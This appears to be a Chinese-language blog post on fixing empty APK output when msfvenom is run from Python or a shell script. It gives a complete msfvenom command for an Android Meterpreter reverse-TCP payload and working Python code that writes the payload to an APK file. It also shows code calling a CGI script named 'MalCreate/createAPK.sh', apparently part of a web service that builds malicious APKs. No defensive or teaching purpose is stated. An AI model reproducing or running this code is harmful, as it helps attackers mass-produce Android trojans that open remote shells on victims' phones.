使用Metasploit生成Android Payload时生成空APK文件的问题排查

阿华AIGC实验室

2026-5-15

解决msfvenom通过Python/Shell脚本生成空APK的问题

你遇到的情况很典型：msfvenom命令在终端直接运行能正常生成Android Payload，但通过Python的os.system()或subprocess.Popen()调用时却输出空APK文件，这大多是因为脚本执行环境与终端环境的差异，或者命令的输出/错误没有被正确处理导致的。下面分点给出排查和解决办法：

1. 优先检查msfvenom的路径问题

终端里能找到msfvenom，但Python脚本的执行环境可能没有把它的路径加入系统PATH。比如终端执行which msfvenom得到的路径是/usr/bin/msfvenom，但Python脚本的运行环境找不到这个命令，导致执行失败，最终生成空文件。

解决办法：
在Python命令中使用msfvenom的绝对路径，先在终端执行which msfvenom获取准确路径，然后替换你的代码：

os.system('/usr/bin/msfvenom -p android/meterpreter/reverse_tcp LHOST=你的实际IP LPORT=你的端口 R > file.apk')

2. 避免依赖Shell重定向符号`>`

os.system()里的>是交给Shell处理的，但如果Python脚本在非Shell环境下执行（比如CGI脚本），重定向可能不生效。另外subprocess.Popen()默认不启动Shell，直接传入的>会被当成命令参数，导致错误。

更可靠的写法：
改用subprocess直接捕获msfvenom的标准输出并写入文件，不需要依赖Shell的重定向：

import subprocess

# 替换成你的实际IP和端口
lhost = "192.168.1.100"
lport = 4444

try:
    with open('file.apk', 'wb') as apk_file:
        # 用列表形式传入参数，避免Shell解析问题
        subprocess.run(
            ['/usr/bin/msfvenom', '-p', 'android/meterpreter/reverse_tcp', 
             f'LHOST={lhost}', f'LPORT={lport}', 'R'],
            stdout=apk_file,
            check=True  # 如果命令执行失败会抛出异常
        )
    print("APK生成成功")
except subprocess.CalledProcessError as e:
    print(f"命令执行失败: {e}")

3. 排查Shell脚本的执行错误

你调用Shell脚本时出现同样问题，大概率是脚本内部执行出错，但你没有捕获错误信息。

解决办法：
捕获脚本的标准错误输出，查看具体失败原因：

import subprocess

shell_script_path = '/usr/lib/cgi-bin/MalCreate/createAPK.sh'
shellscript = subprocess.Popen(
    [shell_script_path],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)
stdout, stderr = shellscript.communicate()

# 打印输出和错误信息
print("脚本输出:", stdout.decode('utf-8', errors='ignore'))
print("脚本错误:", stderr.decode('utf-8', errors='ignore'))

通过错误信息你可以排查：脚本里的msfvenom路径是否正确、参数是否有误、是否有权限写入文件等。